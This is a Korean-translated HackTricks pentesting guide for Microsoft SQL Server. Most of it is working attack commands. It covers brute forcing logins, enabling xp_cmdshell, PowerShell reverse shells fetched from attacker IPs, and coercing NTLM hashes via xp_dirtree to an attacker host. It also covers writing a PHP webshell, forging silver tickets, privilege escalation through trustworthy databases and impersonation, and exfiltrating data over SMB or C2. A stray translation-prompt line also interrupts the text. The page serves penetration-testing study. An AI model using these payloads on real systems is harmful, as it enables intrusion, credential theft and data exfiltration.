1433 - Pentesting MSSQL - Microsoft SQL Server
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
출처: wikipedia:
Microsoft SQL Server는 Microsoft에서 개발한 관계형 데이터베이스 관리 시스템입니다. 데이터베이스 서버로서의 주요 기능은 다른 소프트웨어 응용 프로그램이 요청하는 대로 데이터를 저장하고 검색하는 것이며—이러한 응용 프로그램은 동일한 컴퓨터에서 실행되거나 네트워크(인터넷 포함)를 통해 다른 컴퓨터에서 실행될 수 있습니다.
기본 포트: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
Managed Database-as-a-Service (DBaaS)에 접속했을 때
“owning the host“에 의존하는 모든 것(예: privilege escalation, lateral movement, OS command execution)은 DBaaS에서는 더 이상 성립하지 않습니다. 이러한 환경에서 pentesting은 application-layer exploitation, data exfiltration via SQL logic, misconfigured IAM roles 또는 부실한 network/VPC 설계로 전환해야 합니다. 예를 들어, Amazon RDS documentation에는 xp_cmdshell과 TRUSTWORTHY 데이터베이스 속성이 지원되지 않는다고 명시되어 있습니다.
Warning
서버가 아니라 데이터베이스 엔드포인트를 받습니다. 클라우드 제공자가 호스트 OS, 데이터베이스 엔진 바이너리 및 많은 보안 정책을 관리합니다.
Default MS-SQL System Tables
- master Database: 이 데이터베이스는 SQL Server 인스턴스의 모든 시스템 수준 세부 정보를 캡처하므로 중요합니다.
- msdb Database: SQL Server Agent는 알림 및 작업(job)의 스케줄 관리를 위해 이 데이터베이스를 사용합니다.
- model Database: SQL Server 인스턴스의 모든 새 데이터베이스에 대한 청사진 역할을 하며, 크기(size), collation, recovery model 등과 같은 변경사항이 새로 생성된 데이터베이스에 반영됩니다.
- Resource Database: SQL Server에 포함된 시스템 객체를 보관하는 읽기 전용 데이터베이스입니다. 이 객체들은 Resource 데이터베이스에 물리적으로 저장되지만, 논리적으로는 모든 데이터베이스의 sys 스키마에 표시됩니다.
- tempdb Database: 일시적인 객체나 중간 결과 집합을 위한 임시 저장소 역할을 합니다.
열거
자동 열거
If you don’t know anything about the service:
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
Tip
가지고 있지 않다면 credentials를 추측해 볼 수 있습니다. nmap 또는 metasploit을 사용할 수 있습니다. 주의: 기존 username을 사용해 login을 여러 번 실패하면 block accounts 될 수 있습니다.
Metasploit (need creds)
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump
#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf
#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
Brute force
RID Brute Force를 통한 사용자 열거
MSSQL을 통해 RIDs (Relative Identifiers)를 brute-force하여 도메인 사용자를 열거할 수 있습니다. 이 기술은 valid credentials는 있으나 privileges가 제한된 경우에 유용합니다:
# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000
# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000
# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000
[snippet]
MSSQL 10.129.234.50 1433 DC 1104: REDELEGATE\Christine.Flanders
MSSQL 10.129.234.50 1433 DC 1105: REDELEGATE\Marie.Curie
MSSQL 10.129.234.50 1433 DC 1106: REDELEGATE\Helen.Frost
MSSQL 10.129.234.50 1433 DC 1107: REDELEGATE\Michael.Pontiac
MSSQL 10.129.234.50 1433 DC 1108: REDELEGATE\Mallory.Roberts
MSSQL 10.129.234.50 1433 DC 1109: REDELEGATE\James.Dinkleberg
[snippet]
매개변수:
--local-auth: 도메인 대신 로컬 인증 사용--rid-brute <max_rid>: 지정된 수까지 RIDs를 브루트포스 (기본값: 4000)-u: 사용자 이름-p: 비밀번호
이 기술은 순차적인 RID와 연결된 계정 정보를 MSSQL 서버에 쿼리하여 사용자를 열거합니다.
수동 열거
로그인
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
공통 Enumeration
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
#Enumerate links
enum_links
#Use a link
use_link [NAME]
사용자 가져오기
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;
## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
권한 얻기
- 보호 대상 (Securable): SQL Server가 액세스 제어를 위해 관리하는 리소스로 정의됩니다. 다음과 같이 분류됩니다:
- 서버 – 예: 데이터베이스, 로그인, 엔드포인트, 가용성 그룹, 서버 역할 등.
- 데이터베이스 – 예: 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 전체 텍스트 카탈로그, 사용자 등.
- 스키마 – 테이블, 뷰, 프로시저, 함수, 동의어 등 포함.
- 권한 (Permission): SQL Server 보호 대상과 연관된 권한으로, ALTER, CONTROL, CREATE와 같은 권한을 주체에게 부여할 수 있습니다. 권한 관리는 두 수준에서 이루어집니다:
- 서버 수준 – 로그인 사용
- 데이터베이스 수준 – 사용자 사용
- 주체 (Principal): 이 용어는 보호 대상에 권한이 부여되는 엔티티를 가리킵니다. 주체에는 주로 로그인과 데이터베이스 사용자가 포함됩니다. 보호 대상에 대한 접근 제어는 권한을 부여하거나 거부하거나, 로그인과 사용자를 접근 권한이 부여된 역할에 포함시키는 방식으로 이루어집니다.
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
요령
OS 명령 실행
Caution
명령을 실행하려면 **
xp_cmdshell**이 활성화되어 있어야 할 뿐만 아니라xp_cmdshell저장 프로시저에 대한 EXECUTE 권한도 필요하다는 점을 주의하세요. sysadmins를 제외한 누가 **xp_cmdshell**을 사용할 수 있는지 확인하려면 다음을 실행하세요:Use master EXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
WMI-based 원격 SQL 수집 (sqlcmd + CSV export)
운영자들은 IIS/app tier에서 WMI를 사용해 작은 배치 파일을 실행하여 MSSQL에 인증하고 ad‑hoc 쿼리를 실행한 뒤 결과를 CSV로 내보내면서 SQL Servers로 pivot할 수 있다. 이 방식은 수집을 단순하게 유지하고 관리자 활동에 자연스럽게 섞인다.
Example mssq.bat
@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
WMI로 원격 호출하기
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
PowerShell 대안
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
참고
- sqlcmd가 없을 수 있으니 osql, PowerShell Invoke-Sqlcmd, 또는 System.Data.SqlClient를 사용하는 one‑liner로 대체하세요.
- 따옴표 처리를 주의하세요; 길거나 복잡한 쿼리는 파일로 제공하거나 batch/PowerShell 스텁 내부에서 디코드되는 Base64‑encoded 인수로 전달하는 것이 더 쉽습니다.
- CSV는 SMB(예: copy from \SQLHOST\C$\Windows\Temp)를 통해 Exfil하거나, 압축하여 C2를 통해 이동하세요.
해시된 비밀번호 가져오기
SELECT * FROM master.sys.syslogins;
Steal NetNTLM hash / Relay attack
authentication에 사용된 hash를 캡처하려면 SMB server를 시작하세요 (impacket-smbserver 또는 responder 등).
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Warning
sysadmins를 제외한 누가 해당 MSSQL 함수들을 실행할 권한이 있는지 확인할 수 있습니다:
Use master; EXEC sp_helprotect 'xp_dirtree'; EXEC sp_helprotect 'xp_subdirs'; EXEC sp_helprotect 'xp_fileexist';
responder 또는 Inveigh와 같은 도구를 사용하면 NetNTLM 해시를 훔칠 수 있습니다.
이러한 도구들의 사용법은 다음에서 확인할 수 있습니다:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
NetNTLMv2 capture에서 MSSQL silver ticket (PAC group injection)까지
- Responder로
xp_dirtree '\\\\<attacker_ip>\\share'를 통해 SQL Server 서비스 계정의 NetNTLMv2를 캡처합니다 (Hashcat 모드 5600로 crack). - 복구한 비밀번호로부터 서비스 NTLM 해시를 유도합니다:
python3 - <<'PY'
import hashlib
print(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).hexdigest())
PY
- 도메인 SID 바이트를 얻으려면
SELECT SUSER_SID('DOMAIN\\Domain Users');를 실행하세요 (RID = 마지막 4바이트, 리틀 엔디언). Map/brute RIDs withnxc mssql ... --rid-brute를 사용하여 sysadmin 권한을 가진 그룹(예: RID1105)을 찾으세요. - 특권 그룹 RID가 PAC에 주입된 상태로 MSSQL SPN에 대해 silver ticket을 위조하세요:
ticketer.py -nthash <SERVICE_NTLM> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn MSSQLSvc/<fqdn>:1433 -groups <GROUP_RID> <user_to_impersonate>
KRB5CCNAME=<user_to_impersonate>.ccache mssqlclient.py -no-pass -k <fqdn>
- 필요 시
xp_cmdshell을 활성화하세요; 명령은 impersonating via the forged ticket 상황에서도 SQL Server 서비스 계정으로 실행됩니다.
Abusing MSSQL trusted Links
Read this post to find more information about how to abuse this feature:
파일 쓰기
MSSQL을 사용해 파일을 쓰려면, 관리자 권한이 필요하고 Ole Automation Procedures를 활성화해야 하며, 이후 일부 저장 프로시저를 실행해 파일을 생성합니다:
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
파일 읽기 OPENROWSET
기본적으로, MSSQL은 계정이 읽기 권한을 가진 운영체제의 모든 파일에 대한 읽기를 허용합니다. 다음 SQL 쿼리를 사용할 수 있습니다:
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
단, BULK 옵션은 ADMINISTER BULK OPERATIONS 또는 ADMINISTER DATABASE BULK OPERATIONS 권한이 필요합니다.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
SQLi를 위한 Error-based 벡터:
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
RCE/파일 읽기 및 스크립트 실행 (Python and R)
MSSQL는 Python 및/또는 R 스크립트를 실행할 수 있게 해줄 수 있습니다. 이 코드는 명령을 실행하기 위해 xp_cmdshell을 사용하는 사용자와는 다른 사용자로 실행됩니다.
Example trying to execute a ‘R’ “Hellow World!” not working:
.png)
Example using configured python to perform several actions:
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
레지스트리 읽기
Microsoft SQL Server는 네트워크뿐만 아니라 파일 시스템 및 Windows Registry와 상호작용할 수 있는 여러 확장 저장 프로시저를 제공합니다:
| 일반 | 인스턴스 인식 |
|---|---|
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
더 많은 예제는 original source를 확인하세요.
RCE with MSSQL User Defined Function - SQLHttp
MSSQL 내에서 커스텀 함수로 .NET dll을 로드할 수 있습니다. 하지만 이는 dbo 권한이 필요하므로 데이터베이스에 sa 또는 Administrator 역할로 연결해야 합니다.
Following this link에서 예제를 확인하세요.
RCE with autoadmin_task_agents
해당 to this post에 따르면, 원격 dll을 로드하여 MSSQL이 이를 실행하게 할 수도 있습니다:
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
번역할 README.md 내용을 여기에 붙여넣어 주세요.
붙여넣으면 요청하신 규칙(코드/태그/링크/경로 미번역)을 준수해 한국어로 번역해 드리겠습니다.
using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;
namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}
public override void DoWork()
{
}
public override void ExternalJob(string command, LogBaseService jobLogger)
{
}
public override void Start(IServicesFactory services)
{
}
public override void Stop()
{
}
public void Test()
{
}
}
}
RCE를 위한 다른 방법들
명령 실행을 얻기 위한 다른 방법으로는 extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, 및 external scripts 추가 등이 있다.
MSSQL Privilege Escalation
db_owner에서 sysadmin으로
만약 일반 사용자가 관리자가 소유한 데이터베이스(예: sa)에 대해 db_owner 역할을 부여받고, 그 데이터베이스가 **trustworthy**로 설정되어 있다면, 그 사용자는 이러한 권한을 남용해 privesc할 수 있다. 그 이유는 해당 데이터베이스에 생성된 stored procedures가 소유자(관리자)로서 execute될 수 있기 때문이다.
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
다음 metasploit 모듈을 사용할 수 있습니다:
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
또는 PS 스크립트:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
다른 사용자로 가장하기
SQL Server에는 **IMPERSONATE**라는 특수 권한이 있으며, 이 권한은 실행 중인 사용자가 다른 사용자 또는 로그인 계정의 권한을 획득하여 사용할 수 있게 해줍니다. 이 상태는 컨텍스트가 재설정되거나 세션이 종료될 때까지 유지됩니다.
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]
Tip
만약 사용자를 impersonate할 수 있다면, 그가 sysadmin이 아니더라도, 당신은 i해당 사용자가 접근 권한이 있는지 다른 databases 또는 linked servers에 대해 확인해야 합니다.
참고: 일단 당신이 sysadmin이 되면, 다른 누구든지 impersonate할 수 있습니다:
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
이 공격은 metasploit 모듈로 수행할 수 있습니다:
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
또는 PS 스크립트로:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
MSSQL을 이용한 지속성 확보
https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
SQL Server Linked Servers에서 비밀번호 추출
공격자는 SQL 인스턴스에서 SQL Server Linked Servers 비밀번호를 추출하여 평문으로 얻을 수 있으며, 이를 통해 대상에 대한 더 큰 권한 확보에 사용할 수 있는 비밀번호를 얻습니다. Linked Servers에 저장된 비밀번호를 추출하고 복호화하는 스크립트는 here에서 확인할 수 있습니다.
이 익스플로잇이 작동하려면 일부 요구사항과 설정이 필요합니다. 우선, 해당 머신에서 관리자 권한(Administrator rights)이 있거나 SQL Server 구성을 관리할 수 있는 권한이 있어야 합니다.
권한을 확인한 후에는 다음 세 가지를 구성해야 합니다:
- SQL Server 인스턴스에서 TCP/IP 활성화;
- Start Up parameter 추가 — 이 경우 trace flag인 -T7806을 추가합니다.
- 원격 관리자 연결(remote admin connection) 활성화.
이 설정들을 자동화하기 위해 this repository 에는 필요한 스크립트가 있습니다. 구성의 각 단계에 대한 PowerShell 스크립트뿐만 아니라, 구성 스크립트와 비밀번호 추출 및 복호화를 결합한 전체 스크립트도 리포지토리에 포함되어 있습니다.
이 공격에 대한 추가 정보는 다음 링크들을 참고하세요: Decrypting MSSQL Database Link Server Passwords
Troubleshooting the SQL Server Dedicated Administrator Connection
로컬 권한 상승
MSSQL 서버를 실행하는 사용자는 특권 토큰 SeImpersonatePrivilege.\ 아마 다음 두 페이지 중 하나를 따라하면 Administrator로 권한 상승할 수 있을 것입니다:
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Shodan
port:1433 !HTTP
References
- Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd
- HTB: Signed - MSSQL coercion to silver ticket sysadmin
- https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users
- https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/
- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/
- https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/
- https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/
- https://mayfly277.github.io/posts/GOADv2-pwning-part12/
- https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp
HackTricks Automatic Commands
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
